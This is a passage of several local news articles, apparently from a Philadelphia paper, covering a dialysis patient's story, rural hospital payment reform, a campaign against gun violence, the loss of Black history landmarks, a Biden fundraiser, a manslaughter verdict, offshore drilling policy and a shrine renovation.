of Philadelphia, now 47 and the mother of an adopted son, and we follow with the perspective of Mike Spigler, the kidney funds vice president of patient services and kidney disease education. Melissia Baker, tell us about your experience with kidney disease. I was 10 years old. I started going to the bathroom frequently. My mother noticed and took me to the physician. They checked my blood sugar. It was elevated. They decided I had juvenile diabetes, which is what they called it back then. Now, its known as Type 1 diabetes. It took many years for it to progress to kidney disease up until my 30s. The treatment was not as advanced as it is now. I did not have an endocrinologist until I was in my late teens or my early 20s. My mother did most of the research in treating and caring for my diabetes. Later, my creatinine levels became elevated, a sign of kidney disease. [Creatinine is a waste product from the normal breakdown of muscle, excreted through urine and used as a test of kidney function.] My diminished kidney function lasted about 10 years prior to me going into full-blown, end-stage renal failure. But I was fortunate. At the point I was diagnosed, I was put on the organ transplant list. It took only months to receive a double organ transplant. I received a pancreas and a kidney from a deceased donor. It went great for a while. I was able to go back to work, to become a foster parent, to be involved with social and community activities. Unfortunately, it lasted just 6 years. The donated pancreas failed first. It took the kidney with it shortly after. What happened next? In 2012, I went on hemodialysis. I did it for five hours, three times a week at one of the dialysis centers in the city. But I found it to be very taxing on my body. I would leave dialysis and I would pretty much need to go home and rest for the rest of the day. My doctor suggested that peritoneal dialysis may be a better option. Thats something you can do in the home. It uses the peritoneal fluid inside your stomach to clean your blood. I would do that every night while I was sleeping. Its supposed to be a gentler process because youre doing it every day. However, I found it was emotionally taxing and isolating. I didnt have the support of a dialysis center. Youre responsible for maintaining your machine, your site, your medical supplies. I had a lot of medical supplies in my home. It really made my home feel like a medical center, and I felt like I never got a break. After about eight or nine months, one of the centers in Philadelphia opened up a nocturnal program. Its traditional hemodialysis, but I go three evenings a week and stay there from about 7 p.m. to 4 a.m. It leaves me with much more energy, and Im able to have my weekends free. I can take short weekend trips and things like that. Ive been on the transplant list for 6 years. And Im hopeful Ill receive the gift of life again. What would you say to other people who have kidney disease? Dont be afraid. It can be a scary thing when youre diagnosed. I didnt know anyone else with kidney disease. But you have to educate yourself. Get as much information as possible. There are so many resources out there. Once you get involved with one organization, it tends to be a branch to getting additional information and resources. If youre in a dialysis center like I was, its really helpful to talk to the centers social worker. There are a lot of support groups. Just keep talking about it. If you cant advocate for yourself sometimes you may not have the energy to do that find a friend or family member who can advocate for you. Get involved with groups like AKF that can be a financial resource and an advocacy tool. Your voice will be the most important voice in managing your disease effectively. Mike Spigler, tell us about federal legislation the AKF is supporting. Its the Living Donor Protection Act of 2019. It would provide baseline, uniform protections for living donors. One piece of it would prohibit discrimination from insurers life insurance, disability insurance, and long-term care insurance providers. Right now, they can either deny or limit the amount of coverage that they offer someone who has decided to be a living donor. Another piece would amend the Family Medical Leave Act to include living organ donation as a serious health condition, a reason for taking a leave. Its really hard to tell how many additional kidneys this would translate to. But as many barriers as we can eliminate to making that huge decision, the better. What current research looks particularly promising? Unfortunately, dialysis has not changed much since its inception in the early 1970s. So one of the things were trying to do is figure out how to get more people transplanted. One promising development is that hepatitis C is now pretty much a curable disease. Lets say that a deceased donor had hepatitis C, and the potential transplant recipient doesnt. The thinking was always that you wouldnt transplant to that person. But because the hepatitis C treatments are so good now, you can take the hepatitis C kidney and give it to a patient, and then give the patient the medication to cure them of hepatitis C. This opens up a pool of kidneys that we didnt have before. Also, there are some drugs on the horizon that will make it much easier for people to match with a kidney if they have high levels of antibodies. Right now, there is a concern that those could fight the kidneys once transplanted. Another initiative is the Kidney X project, a collaboration between the American Society of Nephrology and the federal Department of Health and Human Services. The idea is to redesign dialysis by creating an artificial kidney in effect, a dialysis machine right inside the body, or at least a wearable one. The Kidney Health Initiative is looking at precision medicine and trying to apply that approach to treating kidney disease. Every year, most of the kidney community coalesces around a national conference, the National Society of Nephrologys Kidney Week. In nine years, Ive never left a conference with more hope, more optimism, than when I left this last one. sandybauers10@gmail.com UPMC Kane and UPMC Health Plan are participating in the first year of the Pennsylvania Rural Health Model. Read more Rural communities and their hospitals are struggling. In terms of health and well-being, rural Pennsylvania and urban Philadelphia have much in common, including high rates of child poverty and mortality, food insecurity, and chronic disease. In terms of the health care needed to address these issues, rural hospitals face unique challenges. These include sustaining a wide array of services for smaller numbers of patients due to sparsely populated geographies. About half of Pennsylvanias rural hospitals operate at a loss and are at risk for closure. Respected research organizations have reported on this problem nationwide. Since 2010, 104 U.S. rural hospitals have closed, two of them in Pennsylvania. Pennsylvanias bold experiment In partnership with the Center for Medicare & Medicaid Innovation, the Pennsylvania Department of Healths new Rural Health Model flips the script on hospital care. In place of hospitals traditional focus treating patients when they are sick or injured the new model also aims to reward hospitals for keeping patients healthy and out of the hospital altogether. To accomplish these goals, the model changes the way hospitals are paid. Typically, hospitals receive payment for each health-care service they provide. With the Rural Health Model, hospitals get paid based on annual budgets, which provides more consistent cash flow. These budgets define the financial resources hospitals will have during the year independent of how many patients are hospitalized or come to emergency rooms. Insurers (commercial and Medicare) and hospitals work together to establish budgets based on the payments hospitals typically received in the past. With their financial footings a bit more predictable, hospitals can redirect resources and invest in services and partnerships to improve community health. Hospitals are encouraged to focus on keeping people healthy. This new payment approach not only provides a measure of stability for hospitals, but also for rural communities and jobs. In metropolitan areas, with a pick of health-care systems and services, it may be hard to imagine how important a hospital is to its rural community. In emergencies, that hospital may be the only source of care for 20 miles or more. Virtuous cycle of better health and less spending Hospitalizations in rural Pennsylvania, across the state, and nationwide are going down. Hospitals and health systems are shifting care to outpatient and home settings whenever safe and appropriate. Doctors, nurses, and health educators are working with patients, encouraging them to seek preventive care, and improve health habits. The goal is to foster better quality of life and avoid intensive and costly inpatient care. The Rural Health Model gives hospitals predictable finances and, potentially, additional flexibility with which to foster this move to better health and lower spending. Now, instead of focusing on expanding services just for the sake of growing market share under the traditional fee-for-service model, hospitals can focus on providing the services most needed by the community. This right-sizing frees up resources to focus on the services needed to address an areas biggest health challenges (diabetes, for example) and to kick start the virtuous cycle of better health and less need for hospital care. Five Pennsylvania hospitals have signed up to test this new payment strategy. (Five insurers have also joined the pilot.) The hospitals have defined strategies for how they will improve the overall health of their communities. Common strategies include better care coordination for patients with chronic disease and better geriatric care for older adults, with the goal of reducing expensive emergency room visits. Role of the Rural Health Redesign Center The pressing need to help rural communities become healthier, and the potential for this model, has attracted interest from scores of state and federal government agencies and health policy organizations. They really want to make this model work, and effective collaboration is key. Creating the Rural Health Redesign Center would establish the hub to bring these resources together, to help with the planning and analysis needed to identify successful strategies and replicate them. Five hospitals are using the model now, and we have high interest from up to 25 additional hospitals in joining them over the next two years. Learning from one another about what works and what doesnt will speed progress. State legislation is needed to set up the Rural Health Redesign Center. Senate Bill 314, sponsored by Sen. Lisa Baker (R., Luzerne), and House Bill 248, sponsored by Rep. Tina Pickett (R., Bradford), both have bipartisan support. A model for the nation? Governments, health departments, and hospitals across the nation are watching Pennsylvanias experiment. Since starting work on this model several years ago, weve heard from over a dozen states, all asking: Is it working? We invite you to pay close attention as well and to learn more about how five hospitals and insurers are working together, exploring a new and better way to care for their communities. Pennsylvanias Rural Health Model could help to usher in a new era of health care. Rachel Levine, M.D. is Pennsylvania Secretary of Health. Andy Carter is president and CEO of the Hospital and Healthsystem Association of Pennsylvania. So, its come to this. Young people pushing to publicize images of their bullet-ridden bodies if they are killed by gun violence in the hopes that a nation can be jarred into action. Id like to say that its a good idea, as shocking as the campaign is. And thats the point of the Columbine High School students who started it. Maybe this is what it will take for this country to finally do something about our national shame. But This is a country thats all but shrugged off at least, politically the murder of babies inside their own elementary school classrooms. We looked away before that horrific 2012 day in Newtown, Conn. Weve looked away since. And lets be honest, we protect ourselves from whats happened. Historically, this country has been way more comfortable publicizing the uncensored horrors of other countries than those of our own. But now here comes the MyLastShot.org campaign, started around the 20th anniversary of the Columbine High School shooting that killed 12 students and one teacher and left dozens more injured. Students are asking us to look unflinchingly, telling us that if the spineless adults with the power to do something about gun violence fail again, they -- our children -- are willing to put their bodies on the line for a long overdue reckoning. Like many of the students around the country campaigning for journalists to publish images of people killed by gun violence, Columbine senior Ana Lemus-Paiz, 18, was born in the shadows of the shooting to parents who had fled senseless violence in Guatemala only to see it unfold over and over in their new country. Their daughter and many of her classmates support a cause that they hope could do for gun reform what the raw photo of Emmett Till, a black teenager lynched in Mississippi in 1955, did for the civil rights movement. They want to place small stickers on their IDs stating, In the event that I die from gun violence, please publicize the photo of my death. We should be ashamed. But these students are done waiting for that. This is our reality, said Lemus-Paiz, and despite all the school shootings that have happened since Columbine, I dont think many older generations really get that. Its a tough conversation for some to have, she conceded, with themselves and with their families. Closer to home, Travon Houston, a student at Philadelphias Parkway Center City Middle College, said after considering the My Last Shot sticker, its not something hes comfortable signing up for at least not yet. Plus, hes not sure his peers or community are the ones who have to be shocked to attention, considering its a reality many live every day. Unfortunately, many of the people with the power, if not the inclination, to make change might need to be. Over some of her familys objections, Carmen Pagan has shared on social media some graphic photos of her brother, shot and killed in 2016. She wont stop, she says. People need to see the reality of what its like after they killed your loved one, she said This s- is real. I cant say it any other way. To talk about something like this happening, maybe we make up our own pictures in our heads, but to actually see the picture, that will never get erased from your mind. There is power behind that, maybe enough power for something to change. I write a lot about gun violence, about those killed and those left behind with the pain and trauma that those with the luxury to debate gun reform have often never experienced. Plenty of photos have accompanied those columns, but never ones as graphic as the images that the students are pushing for. Doing so would no doubt spark lots of debate in and out of my newsroom, but its about time we start having that conversation -- especially at the biggest news outlet in a city with a persistent gun-violence problem. In the meantime, if victims or their families choose to share the photos on their own platforms, the very least we can do is bear witness. Pagan has posted one on her Instagram account, a close-up image of one of the bullet wounds that took her brothers life. If this doesnt move you, she wrote. I dont know what else will. Faye Anderson at the location of the former Philly International Records studio founded by Kenny Gamble and Leon Huff, which is now a hole in the ground, at Broad and Cypress Streets. Read more The essence of her Disappearing Blackness campaign can be summed up in a photo that activist Faye Anderson saw online: There was Kenny Gamble outside Hitsville U.S.A., the Motown studio Berry Gordy founded in Detroit. But to do that here, on Broad Street, outside the very studio Gamble founded Philadelphia International Records would be impossible. "Thats because all that is left of it right now is a hole in the ground, Anderson said. As a "citizen preservationist, Anderson has posted photos to Twitter showing empty spots where African American historical markers have been plucked from sidewalks in gentrifying neighborhoods. Shes protested the demolitions on Jewelers Row and of Abolition Hall. Shes testified in front of City Council. And on Saturday, Anderson, a public policy consultant, will co-host a panel, Gentrification, Resistance, and Cultural Preservation, as part of Common Field Convening, a national network of visual arts organizations meeting here this weekend. With presentations by storyteller Denise Valentine, visual artist Sherman Fleming, and Arielle Julia Brown of the Penn and Slavery Project at the University of Pennsylvania, the panel will focus on using art for social change. Anderson, director of All That Philly Jazz, a public history project, began using Disappearing Blackness a hashtag coined by Black and Brown Workers Cooperative activist Abdul-Aliy A. Muhammad and speeches and protests to call attention to the erasure of African American culture and history in a rapidly changing city. However, her efforts to stop the removal of historical markers is part of her work as chair of the Historical Marker Monitoring Committee of the Avenging the Ancestors Coalition (ATAC), which fought to successfully have recognized that George Washington held enslaved African Americans at the Presidents House. Earlier this week, Anderson visited the fenced-off empty lots where Gamble and Leon Huff created the Sound of Philadelphia, across from the Kimmel Center. Anderson stopped a man and asked if he knew about the building that once stood there. The man paused, but said he didnt know. You see, this is what happens," Anderson said. The physical memories of our history get torn down and forgotten. Fighting demolition with nominations Anderson testified this month at a Historical Commission hearing to support the nomination of the Henry Minton House, part of the old 12th Street Gym, to the citys historic register. Minton, a successful black caterer, restaurant owner, and abolitionist, hosted meetings at the house built in 1818 that included abolitionists Frederick Douglass and John Brown. The application by architectural preservationist Oscar Beisert included that in 1859, Minton entertained Brown with bed and board when Brown was passing through Philadelphia shortly before his raid upon Harpers Ferry. The Historical Commission concluded that the property did not satisfy the statutory criteria for designation because the structure as it exists today is unrelated to Mr. Minton, Paul Chrystie, spokesman for the citys Office of Housing and Community Development, wrote in an email. He added, "The Historical Commission has designated dozens of sites that reflect African American history in Philadelphia, and has spent the better part of a decade, including in court, fighting to preserve the Robert Purvis house from demolition by neglect. (The Mount Vernon Street house is the only surviving building associated with Purvis, often called the president of the Underground Railroad.) Matthew McClure, the lawyer representing John Usdan of Midwood Investment & Development LLC, which purchased the 12th Street Gym site, said some preservationists dont always have pure motives. He believes that Beisert, of the preservationist group the Keeping Society, only researched filing a historic designation nomination after learning about the planned development. Sometimes the preservationists are using the historic designation as a sword rather than a shield, McClure said. If all youre doing is regulation against demolition without any plans or resources for rehabbing a historic site, especially in economically challenged areas, youre regulating without truly preserving. Beisert denied the accusation. As for the space on Broad Street, now empty for almost six years, Carl Dranoff has plans to develop a residential tower with 107 units. As weve done with nearly every Dranoff project in the past, we plan to recognize the rich history of the Broad and Spruce site as the former home of Philadelphia International Records," said Dranoff in a statement. "Our residential project at Broad and Spruce will be a transformative addition to the Avenue of the Arts. >>READ MORE: Carl Dranoff now plans shorter tower at Broad and Spruce Streets with no hotel rooms The least we can do Sometimes Anderson is able to advocate by public shaming: like when she showed how two markers, one showing where W.E. B. DuBois once lived at Sixth and Rodman Streets, and another where white slave traders auctioned off captured Africans outside the old London Coffee House on Market Street, had been disrespected by having had, respectively, a trash can and a UPS drop box chained to the markers poles. Her very public spotlight got the receptacles moved. Recently, she was part of a protest of plans to demolish buildings on Jewelers Row, the 700 block of Sansom Street. The first office of the Philadelphia Tribune, the nations oldest continuously operated black-owned newspaper, had been located in that block. Beisert said the block was first famous for its many print shops that also published the Saturday Evening Post and Ladies Home Journal. At an April 15 City Council hearing on Mayor Jim Kenneys proposed budget for next year, Anderson testified about Philadelphias development boom, leading to a demolition crisis, where buildings such as Union Baptist Church, where Marian Anderson learned to sing, and Philadelphia International Records and the Royal Theater are now erased from public memory. For Anderson, her motivation is constant. "I tell everyone this: The ancestors have done the heavy lifting, the least we can do is preserve their stories. Jackie Wiggins, a retired teacher who now conducts tours of historic sites, stands at the spot where the marker for Jessie Redmon Fauset was installed in 1993. Read more Jessie Redmon Fauset was once described by the poet Langston Hughes as a midwife of the Harlem Renaissance, just one of many attributes listed on the blue-and-yellow historical marker outside the home in which she died on 17th Street near Berks Street in North Philadelphia. Now all thats left where her marker stood is an ugly scar of black asphalt, speckled with sand and dirt, bumpy and messy, spilling haphazardly outside the demarcation lines of the gray concrete. The $1,500 marker, installed in 1993 across from George Washington Carver High School for Engineering and Sciences, was removed for cleaning and reinstalled in December 2013. But it seems to have disappeared again before 2014, maybe as part of the demolition and subsequent construction of Temple Villas apartments behind where the marker stood. But neither the city nor the Pennsylvania Historical and Museum Commission, which authorizes and maintains the historical markers, knows where it is. Howard Pollman, director of external affairs for the commission, didnt even know the Fauset marker was missing until a reporter called. City spokesperson Mike Dunn said the Streets Department had no information about the marker. Karen Galle, coordinator of the marker program, has not been successful in reaching the listed contractor for the demolition. Jackie Wiggins, a retired Philadelphia teacher who now conducts tours of historical sites, knows the exact date she noticed the marker was missing: July 19, 2018. I had come here to do a pre-tour for a church group," Wiggins said, "and I knew the marker was supposed to be here. However, it wasnt until Wiggins alerted Faye Anderson, who calls herself a citizen-preservationist, at a Kwanzaa celebration last month that Anderson tweeted in protest. Fauset, she said, had been erased from the landscape. Its about public memory and public spaces, Anderson said. This marker tells the public that an African American who made a significant contribution to society either lived or worked here. We cannot be left out of these public spaces. Its about whose story is told and whose story is preserved. Fauset, a novelist, essayist, and associate of W.E.B. Du Bois, was also literary editor of the Crisis, the official magazine Du Bois founded as an organ of the NAACP. Fauset published Hughes first poem, The Negro Speaks of Rivers," in the Crisis. Fauset, who died in 1961, also helped the careers of other Harlem Renaissance writers, including Countee Cullen, Jean Toomer, Claude McKay, and Georgia Douglas Johnson, according to the Cambridge Companion to the Harlem Renaissance. There are more than 2,500 approved historical markers in Pennsylvania about 300 of them in Philadelphia though many go missing, said Galle. Pollman said the state only learns of markers damaged or missing when someone contacts the commission in Harrisburg. A demolition permit was issued in 2013 to 1853 N. 17th St. LLC, which is owned by Ahmed Michael Alhadad, who also owns Temple Villas. A woman who answered the phone for Temple Villas didnt know what happened to the marker but wondered whether a missing marker that hadnt been noticed for four years was all that important. Fauset, who is believed to have been the first black woman to graduate from the Philadelphia High School for Girls and who earned degrees in classical languages from Cornell University and the University of Pennsylvania, was also a novelist and essayist in her own right. She published her first novel, There Is Confusion, in 1924. Her second novel, Plum Bun, was about a mixed-race woman who left Philadelphia to be an artist in New York and live as a white woman. Most of her work dealt with the lives of middle-class blacks and topics such as colorism, class divides, and passing. Fauset herself had a large blended family. After her mother died, her father remarried a woman who had three children of her own. Fausets father and stepmother had three more children, to make a total of 13, with Fauset the seventh sibling. According to the original application submitted for the marker, the North Philadelphia home in which Fauset went to live after her husband died in 1958 belonged to her half-brother. Wiggins, who now lives at 20th and Diamond Streets, remains outraged. Her initial thought that the marker was being cleaned or repaired seems far-fetched: The pole was also torn out. It was a total disrespect and disregard for the history and culture of a black community," Wiggins said, "that is now being diminished because of gentrification. Wiggins, who grew up in what had been the Raymond Rosen Homes at 23rd Street and Diamond in the 1960s, said she remembers looking out a window and telling her mother: Mama, we must be rich, to see such beauty. It has always been rough and tumble, Wiggins said. But she said the community also had its teachers and postal workers, doctors and lawyers. People assume that were not a community, but we have always been a neighborhood of families and people. And when we select someone who has distinguished themselves and has been given the honor of a historic marker, its just total indifference to who we are. Former Vice President Joe Biden, pictured here at 30th Street Station, attended a fundraiser Thursday night at the home of Comcast executive David L. Cohen. Biden was under pressure to announce a big cash haul after the first 24 hours of his presidential campaign. Read more The introduction was familiar: Im Joe Biden from Scranton, by way of Claymont and Wilmington. It was classic Biden, who for years has presented himself as Middle Class Joe, a champion of working-class folks like those in northeastern Pennsylvania. Its central to his argument for why he can win the presidency. But hours after launching his campaign Thursday, Bidens first formal event wasnt at a union hall or factory. It was a Philadelphia fund-raiser with prominent executives from Comcast, Independence Blue Cross, and powerhouse law firms, all hosted in the West Mount Airy home of Comcast Executive Vice President David L. Cohen. Guests were asked to contribute as much as $2,800, and snacked on Mediterranean charcuterie with sliced steak and other hors doeuvres as they assembled on Cohens back patio for Bidens 14-minute speech. More than 100 showed up. Former Gov. Ed Rendell, who helped organize the event, said he expected it to ultimately bring in $700,000 to $750,000. That would account for more than 10 percent of the $6.3 million the campaign said it had raised in donations in the first 24 hours since Bidens announcement the most of any 2020 Democratic candidates opening-day haul. The event, however, set up a sharp contrast with the blue-collar image the former vice president hopes to burnish his first campaign stop with workers will come Monday at a Pittsburgh union hall. It also created an immediate flashpoint with the faction of his partys voters that want to diminish the influence of the rich and powerful and with some of his Democratic rivals. Not for sale Hours after his campaign announcement Thursday morning, Sen. Elizabeth Warren (D., Mass.) emailed an appeal to her supporters with the subject line, Elizabeths time is not for sale. Even though the pressure is high, you wont see Elizabeth resort to hopping around big cities to host swanky fund-raisers with wealthy donors, the email said. Beto ORourke, the former Texas congressman who has broken fund-raising records with viral, grassroots appeal, sent out an email the same day asking supporters to chip in $3 apiece. Today is an important day to show the strength of our grassroots campaign, especially given the fact that the former vice president has already been collecting checks from major donors for a week leading up to this launch, his campaign wrote in the message. Biden also put out his own email appeals asking for smaller amounts Thursday. What we raise today will determine the number of rallies we can host, the staff we can hire, and the number of voters we can contact, one message said. So we really need all of Joes top supporters to chip in. READ MORE: Joe Biden is running for president, launches his 2020 campaign To be sure, Biden needs to raise money to compete. Before he even officially entered the race, his competitors already had millions in their campaign accounts. Sen. Bernie Sanders (I., Vt.) had $16 million in his coffers as of March 31, and, as he did in 2016, was touting his lead among small-dollar donors. President Donald Trump had nearly $41 million giving him a potentially daunting advantage over any Democrat who wants the nomination. Youve got to take the money. Theres too much overthink about that, said Mike Murphy, a Republican political consultant who led Jeb Bushs Super PAC in 2016. He said the perceived downside of such big fund-raising events is overrated. No money, no campaign. Alan Kessler, a Philadelphia-based law partner who helped organize Thursdays gathering, said big donors are not expecting theyre going to get something for it, other than supporting the person they think is best capable of taking the White House away from the current occupant. Rendell noted that most of the donors had known Biden for decades. The folks on this patio out here, youre part of the folks that brung me to the dance, as they say, long time ago, from 72 on, Biden told the crowd. Youve been the people that have helped me. Still, liberals such as Warren and Sanders have cast fund-raising as not just a process issue, but one that speaks to how a politician governs, and whom they look out for. Progressives have long been wary of Cohen one of Philadelphias most enduring political power brokers given Comcasts influence. Another top organizer for Thursdays fund-raiser was Daniel J. Hilferty, a registered Republican and CEO of the health insurer Independence Blue Cross. (Sanders has called for abolishing private health insurance companies like Independence in favor of a single-payer, government-run system.) READ MORE: Joe Biden, at Philly fund-raiser hosted by Comcast exec, says Trump has shredded Americas moral fabric Nikil Saval, an organizer with the progressive group Reclaim Philadelphia, which grew out of Sanders 2016 campaign, questioned how any candidate could plausibly claim to represent ordinary people when youre fraternizing and spending time constantly with wealthy people. Just hours after Biden launched his bid, Saval noted skeptically, one of his first stops "is to go to a fund-raiser of some of the richest people in Philadelphia it immediately raises suspicion. Biden supporters acknowledge the potentially troubling optics of cozying up to elite donors on Day One, but say the former vice president was under immense pressure to announce a huge cash haul and demonstrate he has the support worthy of a front-runner. Many pundits look, in particular, at what candidates raise in the first 24 hours as a sign of their viability. And Biden allies argue that beating Trump will take money. None other than Barack Obama attended a fund-raiser at Cohens home in 2011 for his reelection campaign, while setting fund-raising records. They also note Biden plans to quickly emphasize his vision for the middle class, starting with the rally Monday in Pittsburgh. Generation gap Any Democrat who recoils over Bidens fund-raising probably wasnt planning on voting for the old-guard candidate in the primary anyway, analysts said. He can write that part of the Democratic electorate off; other people are fighting for them, said Patrick Murray, a pollster at Monmouth University in New Jersey. Hes looking for the old stalwarts in the party: The working-class, older white voter is going to be his core support. Lara Brown, a political science professor at George Washington University, said Biden has to rely on traditional methods, since he doesnt have the small donor list, or the viral star power, of the new class of rivals that has risen since he his last presidential campaign, in 2008. Their celebrity has taken off" during a time of online, small dollar fund-raising, Brown said. She added, It does reinforce the idea that he is a candidate from a different era. Sanders has received 84 percent of his money from people who gave $200 or less, according to a New York Times analysis. For Warren it was 70 percent; 64 percent for South Bend, Ind., Mayor Pete Buttigieg; and 59 percent for ORourke. Many other Democratic hopefuls, however, have also relied on big donors for the vast majority of their support, including Sens. Kamala Harris (D., Calif.), Cory Booker (D., N.J.), and Amy Klobuchar (D., Minn.) Biden allies hope that a dose of transparency can help ease the criticism. His campaign allowed a handful of reporters into the event Thursday, and said the media will be permitted at future events. Reporters were allowed to watch Biden speak, but were otherwise sequestered in Cohens basement. Thursdays invitation also noted that he would not accept donations from corporations, lobbyists, or their political committees. Principle or pragmatism? Many of Bidens supporters, pointing to polls showing that Democratic voters are prioritizing the ability to beat Trump, believe that most of the party will take a pragmatic approach to the campaign. Kessler, the Biden supporter, suggested that candidates like Warren were likely criticizing Biden because they couldnt attract the same kind of support. And while Warren relies mainly on smaller donors, her 2018 Senate campaign also accepted large checks from some of the same people who put together Bidens event Thursday, including Rendell and lawyer Stephen A. Cozen. Someones going to get this nomination," Kessler said, "and that somebody is going to need support from all sectors of the Democratic Party. Former Vice President Joe Biden greets a few Amtrak employees as he arrives at 30th Street Station after attending a fund-raiser in Philadelphia on April 25, 2019. Read more Former Vice President Joe Biden said at a Philadelphia fund-raiser Thursday that the countrys moral fabric was being shredded by President Donald Trump, and declared he would work as president to restore the American creed. We have to start choosing truth over lies, hope over fear, Biden said at a fund-raiser attended by about 150 people at the West Mount Airy home of David L. Cohen, senior executive vice president of Comcast Corp. and a former Democratic operative, and his wife, Rhonda. The fund-raiser capped Bidens first official day as a presidential candidate, following the release of a morning video announcing his candidacy and a swing through his hometown of Wilmington. Biden is scheduled to head to Pittsburgh on Monday. Speaking for about 15 minutes on the Cohens back patio to a crowd of elected officials, lawyers, corporate executives, and others, Biden lamented what he described as Trumps constant attack[s] on the courts, the press, even the Congress. When Biden speaks with world leaders, he said, they say theyre wondering what has happened to us. Not a joke, Biden said. Not a joke. Part of the answer to the countrys woes, Biden said, is to start treating each other better. Paraphrasing the 18th-century German philosopher Immanuel Kant, he said, People should never be treated only as a means to an end, but an end in themselves. In addition to restoring the moral character of the country, Biden said, he would restore the middle class and unite the country. Economic dignity, he said, is the key to a healthy country not just GDP. Guests were asked to contribute up to $2,800, the maximum individual donation for the primary campaign. Among the attendees were former Gov. Ed Rendell and Democratic members of Pennsylvanias congressional delegation including Reps. Brendan Boyle, Mary Gay Scanlon, Chrissy Houlahan, and Madeleine Dean. Also on hand were Democratic City Committee Chairman Bob Brady, lawyers Stephen A. Cozen and Kenneth M. Jarin, and Daniel J. Hilferty, chief executive of Independence Blue Cross. Cohen, in brief remarks, described the fund-raiser as off the charts, beyond anyones expectations, and it doesnt happen anywhere but in Philadelphia. Biden expressed affinity for Philadelphia, saying some of the people who organized the fund-raiser had been on his side since the start of his career in the 1970s. Youre the folks who brought me to the dance," he said. "Youve been with me and made it possible for me to be able to run. Incredible thing about all of you is, you never ask. I really mean it. He was introduced by a 2017 University of Pennsylvania graduate, Alexa Salas, who said she was the daughter of Mexican immigrants. Joe Biden comes from a working-class family, and has dedicated his career to fighting for all Americans regardless of race, class, gender, and immigration status," she said. A 31-year-old Berlin Borough man has been found guilty by a jury in the 2013 bow-and-arrow killing of a 25-year-old man, the Camden County Prosecutors Office said Thursday. Timothy Canfield was convicted Wednesday of aggravated manslaughter, three counts of hindering apprehension or prosecution, and possession of a weapon for an unlawful purpose. His sentencing is scheduled for May 16 and he faces a maximum of 55 years in state prison. Canfield shot Kereti Paulsen with a high-powered compound bow about 10 p.m. Jan. 28, 2013, in the rear driveway of a home on Brill Avenue. Paulsen, of Cape May Court House, had been in a fistfight with another man over Paulsens former girlfriend, whose family lived in the house. The altercation brought the family outside, but after it ended, the others went back inside. Canfield, who was in a relationship with the former girlfriends older sister, returned outside with the bow. With the fight over, the altercation should have ended, Lauren Palmer-Wearne, who had been in a relationship with Paulsen, said in an email Thursday night. Everyone except Kereti went inside the house. Then Tim came outside and shot Kereti. Prosecutors said Canfield made a 911 call and provided false information to police, and also hid the bow and arrows. Paulsen, who had been shot in the stomach, died shortly afterward at the hospital. Canfields lawyer, Jeffrey Zucker, previously said in court that Canfield initially panicked, but then cooperated with police and helped recover the bow and arrows. Zucker said Canfield acted in self-defense when Paulsen allegedly lunged at him with a hypodermic needle. That argument was made during Canfields first trial last year, which was declared a mistrial when jurors were overheard discussing evidence. Zucker could not be reached for comment Thursday night. Palmer-Wearne, 31, of Berlin Borough, attended the retrial along with Paulsens parents and, on certain days, her 11-year-old daughter with Paulsen. The girl was in the courtroom for the verdict. She was able to finally watch the man who killed her [father] physically taken away in cuffs after being out and free for six years, Palmer-Wearne said. FILE - In this July 16, 2017, file photo, ice is broken up by the passing of the Finnish icebreaker MSV Nordica as it sails through the Beaufort Sea off the coast of Alaska. The Trump administration is reevaluating its controversial plan to sharply expand offshore drilling as it responds to a court ruling that blocked drilling off Alaska. Read more WASHINGTON (AP) The Trump administration said Thursday it is reevaluating its controversial plan to sharply expand offshore drilling as it responds to a court ruling that blocked oil and gas development off Alaska. Governors and lawmakers from both Republican- and Democratic-led states have strongly opposed the expanded drilling. And a federal judge last month ruled against President Donald Trump's executive order to open the Arctic and parts of the Atlantic to broader oil and gas development, saying Trump had exceeded his authority. Interior Secretary David Bernhardt told The Wall Street Journal on Thursday that the legal challenges may be "discombobulating" to the administration's overall drilling plans. Bernhardt says the administration may have to wait for the challenges to fully play out in court. Interior spokeswoman Molly Block said that given the court setback, the agency "is evaluating all of its options." The Interior Department's Bureau of Ocean Energy Management "will carefully consider all public input received, including comments from governors of affected states, before making final decisions" on expanded drilling off the country's coasts, Block added. Environmental groups welcomed what they said amounted to a delay in the administration's coastal drilling expansion plans. Collin O'Mara of the National Wildlife Federation said the administration "needs to go one step further and fully and permanently scrap its plan to open our coasts to unfettered offshore drilling." But Randall Luthi, head of the National Ocean Industries Association trade group, urged against a hard stop in administration planning on expanded offshore drilling. What cannot be delayed is the importance of domestic production to meet the growing demand for affordable, reliable American energy, he said. The Trump administration announced a new five-year plan last year that would open up 90 percent of U.S. offshore reserves to development by private companies. Then-Interior Secretary Ryan Zinke said it would promote responsible energy development, boost jobs and pay for coastal conservation efforts. The plan calls for expanded drilling in the Arctic and off the Atlantic coast and would open up waters off California for the first time in more than three decades. Drilling would be allowed from Florida to Maine in areas that have been blocked for decades. Industry groups said the plan would encourage economic growth and create thousands of jobs, while environmental groups denounced the plan, saying it would cause severe harm to Americas oceans, coastal economies, public health, and marine life. The plan drew bipartisan criticism in Congress, as lawmakers in coastal states said oil drilling off the coast could put their economy, environment, and marine life at risk. Governors from coastal states asked to be removed from the plan, but Interior officials said they were pressing forward even as they promised to take local concerns into consideration. Offshore drilling was a key factor as the Senate confirmed Bernhardt as interior chief this month. Florida Republican Sens. Marco Rubio and Rick Scott voted in favor of Bernhardt after receiving assurances from him and other administration officials that Florida would be excluded from drilling proposals. A moratorium on offshore drilling in Florida expires in 2022. Rubio said in a statement on the day of the vote that he is "confident that when all is said and done the ban on oil drilling off of Florida's coasts will remain in place." Bernhardt has declined to publicly rule out drilling off any state, including Florida. A cope worn by St. John Neumann as fourth bishop of Philadelphia is displayed inside the new museum at the National Shrine of St. John Neumann in Philadelphia. Read more Pilgrims visiting the National Shrine of St. John Neumann in Northern Liberties typically sit in an atmosphere of quiet reflection before the glass coffin holding his body. That is, until the buses arrive. Then, the faithfuls silent pleas for intercession are interrupted by the chatter of tourists and the discourse of priests on the life of Philadelphias fourth Roman Catholic bishop and Americas first male saint. Next comes a video. It wasnt very spiritual, said Patrick Hayes, an archivist for the Redemptorist priests who run the shrine. At 10 a.m. Monday, Neumanns religious order will dedicate and Archbishop Charles J. Chaput will bless a $4.5 million renovation that has not only returned the shrine to being a place of peaceful refuge, but has added a new, separately housed museum. The changes are intended to illustrate the life of the saint in a 21st century-worthy display of history, design, and technology, said the Rev. Raymond Collins, rector of the shrine. Just talking about the clergyman who helped shaped the foundation of Americas Catholic Church isnt enough, he said. The shrine, which draws 50,000 visitors a year, is on the lower level of St. Peter the Apostle Church at 